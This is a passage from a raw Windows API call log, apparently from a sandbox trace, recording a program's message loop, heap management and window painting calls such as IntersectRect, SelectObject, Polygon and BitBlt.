dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.354] PtInRect (lprc=0x30f348, pt=0x282) returned 1 [0146.354] PtInRect (lprc=0x30f1ec, pt=0xfa32) returned 1 [0146.354] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0146.354] GetCursor () returned 0x10003 [0146.354] GetCurrentThreadId () returned 0xcd8 [0146.354] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0146.355] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0146.355] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.355] GetMessageTime () returned 274530 [0146.355] GetMessagePos () returned 0x1c80339 [0146.355] GetCapture () returned 0x0 [0146.355] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0146.355] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0146.355] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0146.355] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.355] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0146.355] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0146.355] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0146.355] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0146.355] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0146.355] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0146.355] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.355] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0146.355] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0146.355] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0146.355] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0146.355] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0146.355] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0146.355] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0146.355] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0146.355] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.356] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0146.356] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0146.356] GetCurrentThreadId () returned 0xcd8 [0146.356] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0146.356] PtInRect (lprc=0x30f3d0, pt=0x282) returned 1 [0146.356] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0xfb0282, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0146.356] NtdllDefWindowProc_W () returned 0x0 [0146.356] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0146.356] GetCurrentThreadId () returned 0xcd8 [0146.356] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0146.356] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0146.356] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0146.357] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.357] GetAncestor (hwnd=0x60018, gaFlags=0x2) returned 0x201e6 [0146.357] IsIconic (hWnd=0x201e6) returned 0 [0146.357] GetCurrentThreadId () returned 0xcd8 [0146.357] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0146.357] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0146.357] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0146.357] GetFocus () returned 0x0 [0146.357] EnumChildWindows (hWndParent=0x60018, lpEnumFunc=0x73670a73, lParam=0x30f5bc) returned 0 [0146.357] GetCurrentThreadId () returned 0xcd8 [0146.357] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5b8 | out: lpPoint=0x30f5b8) returned 1 [0146.357] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0146.357] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0146.358] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f598 | out: lpPoint=0x30f598) returned 1 [0146.358] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0146.358] GetCurrentThreadId () returned 0xcd8 [0146.358] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0146.358] IsWinEventHookInstalled (event=0x8005) returned 0 [0146.358] GetCurrentThreadId () returned 0xcd8 [0146.358] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0146.358] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0146.358] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0146.358] NtdllDefWindowProc_W () returned 0x0 [0146.358] NtdllDefWindowProc_W () returned 0x0 [0146.360] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0146.360] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0146.360] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0146.360] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.360] MapWindowPoints (in: hWndFrom=0x60018, hWndTo=0x0, lpPoints=0x30f0ec, cPoints=0x1 | out: lpPoints=0x30f0ec) returned 13435063 [0146.360] BeginPaint (in: hWnd=0x60018, lpPaint=0x30f520 | out: lpPaint=0x30f520) returned 0x4e0106dd [0146.360] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.360] GetCurrentThreadId () returned 0xcd8 [0146.360] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.360] GetCurrentThreadId () returned 0xcd8 [0146.361] IsRectEmpty (lprc=0x30f528) returned 0 [0146.361] CreateRectRgnIndirect (lprect=0x73507be0) returned 0x16040bf6 [0146.361] GetRandomRgn (hdc=0x4e0106dd, hrgn=0x16040bf6, i=4) returned 1 [0146.361] OffsetRgn (hrgn=0x16040bf6, x=-183, y=-205) returned 2 [0146.361] MapWindowPoints (in: hWndFrom=0x60018, hWndTo=0x0, lpPoints=0x30f0dc, cPoints=0x1 | out: lpPoints=0x30f0dc) returned 13435063 [0146.361] GetDeviceCaps (hdc=0x3010ae4, index=38) returned 32409 [0146.361] IntersectRect (in: lprcDst=0x30f19c, lprcSrc1=0x80203c, lprcSrc2=0x80202c | out: lprcDst=0x30f19c) returned 1 [0146.361] IntersectRect (in: lprcDst=0x30f18c, lprcSrc1=0x30f18c, lprcSrc2=0x30f078 | out: lprcDst=0x30f18c) returned 0 [0146.361] IsRectEmpty (lprc=0x30f18c) returned 1 [0146.361] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82eac0 | out: hHeap=0x7f0000) returned 1 [0146.361] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x50) returned 0x82eac0 [0146.361] GetDeviceCaps (hdc=0x3010ae4, index=38) returned 32409 [0146.361] GetDeviceCaps (hdc=0x4e0106dd, index=14) returned 1 [0146.361] GetDeviceCaps (hdc=0x4e0106dd, index=12) returned 32 [0146.361] GetRegionData (in: hrgn=0x16040bf6, nCount=0x0, lpRgnData=0x0 | out: lpRgnData=0x0) returned 0x30 [0146.361] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x83d828 [0146.361] GetRegionData (in: hrgn=0x16040bf6, nCount=0x30, lpRgnData=0x83d828 | out: lpRgnData=0x83d828) returned 0x30 [0146.361] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x803e00 [0146.361] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x803e00 | out: hHeap=0x7f0000) returned 1 [0146.361] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0146.361] IntersectRect (in: lprcDst=0x30c7c4, lprcSrc1=0x30c7c4, lprcSrc2=0x30c794 | out: lprcDst=0x30c7c4) returned 1 [0146.361] IntersectRect (in: lprcDst=0x30c6f4, lprcSrc1=0x30c6f4, lprcSrc2=0x30c6c4 | out: lprcDst=0x30c6f4) returned 1 [0146.361] IntersectRect (in: lprcDst=0x30c5e8, lprcSrc1=0x30c5e8, lprcSrc2=0x30c5d8 | out: lprcDst=0x30c5e8) returned 1 [0146.361] GetObjectType (h=0x4e0106dd) returned 0x3 [0146.361] GetDeviceCaps (hdc=0x4e0106dd, index=2) returned 1 [0146.362] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x83d828 [0146.362] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x83d828) returned 0x12040a0b [0146.362] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0146.362] SelectClipRgn (hdc=0x4e0106dd, hrgn=0x12040a0b) returned 2 [0146.362] DeleteObject (ho=0x12040a0b) returned 1 [0146.362] _CIsqrt () returned 0x3f1a027f [0146.362] _CIsqrt () returned 0x3f1a027f [0146.362] _CIatan2 () returned 0x20 [0146.362] _CIatan2 () returned 0x20 [0146.362] GetStockObject (i=8) returned 0x1b00016 [0146.362] SelectObject (hdc=0x4e0106dd, h=0x1b00016) returned 0x1b00017 [0146.362] GetViewportOrgEx (in: hdc=0x4e0106dd, lppoint=0x30c3cc | out: lppoint=0x30c3cc) returned 1 [0146.362] SelectObject (hdc=0x4e0106dd, h=0x8100bf8) returned 0x1900010 [0146.362] UnrealizeObject (h=0x8100bf8) returned 1 [0146.362] SetBrushOrgEx (in: hdc=0x4e0106dd, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0146.362] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0146.362] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0 [0146.362] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0 [0146.362] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0 [0146.363] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0146.363] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0146.363] Polygon (hdc=0x4e0106dd, apt=0x30c2f0, cpt=6) returned 1 [0146.375] SelectObject (hdc=0x4e0106dd, h=0x1d100211) returned 0x8100bf8 [0146.375] UnrealizeObject (h=0x1d100211) returned 1 [0146.375] SetBrushOrgEx (in: hdc=0x4e0106dd, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0146.375] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0146.375] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0 [0146.375] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0 [0146.375] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0 [0146.375] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0146.375] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0146.375] Polygon (hdc=0x4e0106dd, apt=0x30c2f0, cpt=8) returned 1 [0146.376] SelectObject (hdc=0x4e0106dd, h=0x6310081a) returned 0x1d100211 [0146.376] UnrealizeObject (h=0x6310081a) returned 1 [0146.376] SetBrushOrgEx (in: hdc=0x4e0106dd, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0146.376] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2 [0146.376] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0146.376] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0146.376] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0146.376] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2 [0146.376] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2 [0146.376] Polygon (hdc=0x4e0106dd, apt=0x30c2f0, cpt=6) returned 1 [0146.376] SelectObject (hdc=0x4e0106dd, h=0x22100a05) returned 0x6310081a [0146.376] UnrealizeObject (h=0x22100a05) returned 1 [0146.376] SetBrushOrgEx (in: hdc=0x4e0106dd, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0146.376] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2 [0146.377] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0146.377] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0146.377] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1 [0146.377] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2 [0146.377] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2 [0146.377] Polygon (hdc=0x4e0106dd, apt=0x30c2f0, cpt=8) returned 1 [0146.377] SelectObject (hdc=0x4e0106dd, h=0x1900010) returned 0x22100a05 [0146.377] IntersectRect (in: lprcDst=0x30c650, lprcSrc1=0x30c650, lprcSrc2=0x8379b0 | out: lprcDst=0x30c650) returned 1 [0146.377] GetDeviceCaps (hdc=0x4e0106dd, index=2) returned 1 [0146.377] DrawThemeBackground () returned 0x0 [0146.377] DrawThemeBackground () returned 0x0 [0146.378] DrawThemeBackground () returned 0x0 [0146.378] IntersectRect (in: lprcDst=0x30c728, lprcSrc1=0x30c728, lprcSrc2=0x837990 | out: lprcDst=0x30c728) returned 1 [0146.378] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x83d828 [0146.378] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x83d828) returned 0x13040a0b [0146.378] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0146.378] SelectClipRgn (hdc=0x4e0106dd, hrgn=0x13040a0b) returned 2 [0146.378] IntersectRect (in: lprcDst=0x30c4fc, lprcSrc1=0x30c4fc, lprcSrc2=0x30c4cc | out: lprcDst=0x30c4fc) returned 1 [0146.378] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x30c4ec | out: lprcDst=0x8379a0) returned 1 [0146.378] IntersectRect (in: lprcDst=0x30c338, lprcSrc1=0x30c338, lprcSrc2=0x837990 | out: lprcDst=0x30c338) returned 1 [0146.378] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x83f740 [0146.378] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83f740 | out: hHeap=0x7f0000) returned 1 [0146.378] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x83f740 [0146.378] IntersectRect (in: lprcDst=0x309e8c, lprcSrc1=0x309e8c, lprcSrc2=0x309e5c | out: lprcDst=0x309e8c) returned 1 [0146.378] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.378] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309d60 | out: lprcDst=0x8379a0) returned 1 [0146.378] IntersectRect (in: lprcDst=0x309d60, lprcSrc1=0x309d60, lprcSrc2=0x8379b0 | out: lprcDst=0x309d60) returned 1 [0146.378] GetDeviceCaps (hdc=0x6010a70, index=2) returned 1 [0146.378] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x83d828 [0146.378] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x83d828) returned 0xb040b27 [0146.378] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0146.378] SelectClipRgn (hdc=0x6010a70, hrgn=0xb040b27) returned 2 [0146.378] DeleteObject (ho=0xb040b27) returned 1 [0146.378] SelectObject (hdc=0x6010a70, h=0x1d100211) returned 0x1900010 [0146.378] PatBlt (hdc=0x6010a70, x=2, y=0, w=1043, h=150, rop=0xf00021) returned 1 [0146.378] SelectObject (hdc=0x6010a70, h=0x1900010) returned 0x1d100211 [0146.378] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309e7c | out: lprcDst=0x8379a0) returned 1 [0146.378] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309e9c | out: lprcDst=0x8379a0) returned 1 [0146.378] IntersectRect (in: lprcDst=0x309b54, lprcSrc1=0x309b54, lprcSrc2=0x309b24 | out: lprcDst=0x309b54) returned 1 [0146.378] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.378] IntersectRect (in: lprcDst=0x309a38, lprcSrc1=0x309a38, lprcSrc2=0x8379b0 | out: lprcDst=0x309a38) returned 0 [0146.378] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309a28 | out: lprcDst=0x8379a0) returned 1 [0146.379] IntersectRect (in: lprcDst=0x309a28, lprcSrc1=0x309a28, lprcSrc2=0x8379b0 | out: lprcDst=0x309a28) returned 1 [0146.379] GetDeviceCaps (hdc=0x6010a70, index=2) returned 1 [0146.379] IntersectRect (in: lprcDst=0x309824, lprcSrc1=0x30f18c, lprcSrc2=0x309824 | out: lprcDst=0x309824) returned 1 [0146.379] SelectObject (hdc=0x6010a70, h=0x1510093f) returned 0x1900010 [0146.379] GetStockObject (i=8) returned 0x1b00016 [0146.379] SelectObject (hdc=0x6010a70, h=0x1b00016) returned 0x1b00017 [0146.379] GetROP2 (hdc=0x6010a70) returned 13 [0146.379] SetBkMode (hdc=0x6010a70, mode=2) returned 2 [0146.379] Rectangle (hdc=0x6010a70, left=2, top=0, right=1046, bottom=151) returned 1 [0146.379] SetBkMode (hdc=0x6010a70, mode=2) returned 2 [0146.379] SelectObject (hdc=0x6010a70, h=0x1b00017) returned 0x1b00016 [0146.379] SelectObject (hdc=0x6010a70, h=0x1900010) returned 0x1510093f [0146.379] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309b44 | out: lprcDst=0x8379a0) returned 1 [0146.379] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309b64 | out: lprcDst=0x8379a0) returned 1 [0146.379] IntersectRect (in: lprcDst=0x309664, lprcSrc1=0x309664, lprcSrc2=0x309518 | out: lprcDst=0x309664) returned 1 [0146.379] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.379] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309664 | out: lprcDst=0x8379a0) returned 1 [0146.379] IntersectRect (in: lprcDst=0x3095c8, lprcSrc1=0x3095c8, lprcSrc2=0x8379b0 | out: lprcDst=0x3095c8) returned 1 [0146.379] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x30957c | out: lprcDst=0x8379a0) returned 1 [0146.379] GetDeviceCaps (hdc=0x6010a70, index=2) returned 1 [0146.380] GetCurrentObject (hdc=0x6010a70, type=0x6) returned 0x18a002e [0146.380] SetBkMode (hdc=0x6010a70, mode=1) returned 2 [0146.380] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.380] SetTextAlign (hdc=0x6010a70, align=0x0) returned 0x0 [0146.380] SelectObject (hdc=0x6010a70, h=0x18a002e) returned 0x18a002e [0146.380] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.380] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.380] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.380] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.380] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.380] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.380] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.380] BitBlt (hdc=0x4e0106dd, x=0, y=2, cx=1064, cy=150, hdcSrc=0x6010a70, x1=0, y1=0, rop=0xcc0020) returned 1 [0146.381] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83f740 | out: hHeap=0x7f0000) returned 1 [0146.381] DeleteObject (ho=0x13040a0b) returned 1 [0146.381] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x83f740 [0146.381] IntersectRect (in: lprcDst=0x309e8c, lprcSrc1=0x309e8c, lprcSrc2=0x309e5c | out: lprcDst=0x309e8c) returned 1 [0146.381] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.381] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309d60 | out: lprcDst=0x8379a0) returned 1 [0146.381] IntersectRect (in: lprcDst=0x309d60, lprcSrc1=0x309d60, lprcSrc2=0x8379b0 | out: lprcDst=0x309d60) returned 1 [0146.381] GetDeviceCaps (hdc=0x6010a70, index=2) returned 1 [0146.381] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x83d828 [0146.381] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x83d828) returned 0xc040b27 [0146.381] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0146.381] SelectClipRgn (hdc=0x6010a70, hrgn=0xc040b27) returned 2 [0146.381] DeleteObject (ho=0xc040b27) returned 1 [0146.381] SelectObject (hdc=0x6010a70, h=0x1d100211) returned 0x1900010 [0146.381] PatBlt (hdc=0x6010a70, x=2, y=0, w=1043, h=150, rop=0xf00021) returned 1 [0146.381] SelectObject (hdc=0x6010a70, h=0x1900010) returned 0x1d100211 [0146.381] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309e7c | out: lprcDst=0x8379a0) returned 1 [0146.381] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309e9c | out: lprcDst=0x8379a0) returned 1 [0146.381] IntersectRect (in: lprcDst=0x309b54, lprcSrc1=0x309b54, lprcSrc2=0x309b24 | out: lprcDst=0x309b54) returned 1 [0146.381] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.381] IntersectRect (in: lprcDst=0x309a38, lprcSrc1=0x309a38, lprcSrc2=0x8379b0 | out: lprcDst=0x309a38) returned 0 [0146.381] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309a28 | out: lprcDst=0x8379a0) returned 1 [0146.381] IntersectRect (in: lprcDst=0x309a28, lprcSrc1=0x309a28, lprcSrc2=0x8379b0 | out: lprcDst=0x309a28) returned 1 [0146.381] GetDeviceCaps (hdc=0x6010a70, index=2) returned 1 [0146.381] IntersectRect (in: lprcDst=0x309824, lprcSrc1=0x30f18c, lprcSrc2=0x309824 | out: lprcDst=0x309824) returned 1 [0146.381] SelectObject (hdc=0x6010a70, h=0x1510093f) returned 0x1900010 [0146.381] GetStockObject (i=8) returned 0x1b00016 [0146.381] SelectObject (hdc=0x6010a70, h=0x1b00016) returned 0x1b00017 [0146.381] GetROP2 (hdc=0x6010a70) returned 13 [0146.381] SetBkMode (hdc=0x6010a70, mode=2) returned 1 [0146.382] Rectangle (hdc=0x6010a70, left=2, top=0, right=1046, bottom=151) returned 1 [0146.382] SetBkMode (hdc=0x6010a70, mode=1) returned 2 [0146.382] SelectObject (hdc=0x6010a70, h=0x1b00017) returned 0x1b00016 [0146.382] SelectObject (hdc=0x6010a70, h=0x1900010) returned 0x1510093f [0146.382] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309b44 | out: lprcDst=0x8379a0) returned 1 [0146.382] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309b64 | out: lprcDst=0x8379a0) returned 1 [0146.382] BitBlt (hdc=0x4e0106dd, x=0, y=152, cx=1064, cy=150, hdcSrc=0x6010a70, x1=0, y1=0, rop=0xcc0020) returned 1 [0146.382] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83f740 | out: hHeap=0x7f0000) returned 1 [0146.382] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x44) returned 0x83f740 [0146.382] IntersectRect (in: lprcDst=0x309e8c, lprcSrc1=0x309e8c, lprcSrc2=0x309e5c | out: lprcDst=0x309e8c) returned 1 [0146.382] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.382] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309d60 | out: lprcDst=0x8379a0) returned 1 [0146.382] IntersectRect (in: lprcDst=0x309d60, lprcSrc1=0x309d60, lprcSrc2=0x8379b0 | out: lprcDst=0x309d60) returned 1 [0146.382] GetDeviceCaps (hdc=0x6010a70, index=2) returned 1 [0146.382] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x83d828 [0146.382] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x83d828) returned 0x14040a0b [0146.382] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0146.382] SelectClipRgn (hdc=0x6010a70, hrgn=0x14040a0b) returned 2 [0146.382] DeleteObject (ho=0x14040a0b) returned 1 [0146.382] SelectObject (hdc=0x6010a70, h=0x1d100211) returned 0x1900010 [0146.382] PatBlt (hdc=0x6010a70, x=2, y=0, w=1043, h=150, rop=0xf00021) returned 1 [0146.382] SelectObject (hdc=0x6010a70, h=0x1900010) returned 0x1d100211 [0146.382] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309e7c | out: lprcDst=0x8379a0) returned 1 [0146.382] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309e9c | out: lprcDst=0x8379a0) returned 1 [0146.382] IntersectRect (in: lprcDst=0x309b54, lprcSrc1=0x309b54, lprcSrc2=0x309b24 | out: lprcDst=0x309b54) returned 1 [0146.382] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.382] IntersectRect (in: lprcDst=0x309a38, lprcSrc1=0x309a38, lprcSrc2=0x8379b0 | out: lprcDst=0x309a38) returned 0 [0146.382] IntersectRect (in: lprcDst=0x8379a0, lprcSrc1=0x8379a0, lprcSrc2=0x309a28 | out: lprcDst=0x8379a0) returned 1 [0146.383] IntersectRect (in: lprcDst=0x309a28, lprcSrc1=0x309a28, lprcSrc2=0x8379b0 | out: lprcDst=0x309a28) returned 1 [0146.383] GetDeviceCaps (hdc=0x6010a70, index=2) returned 1 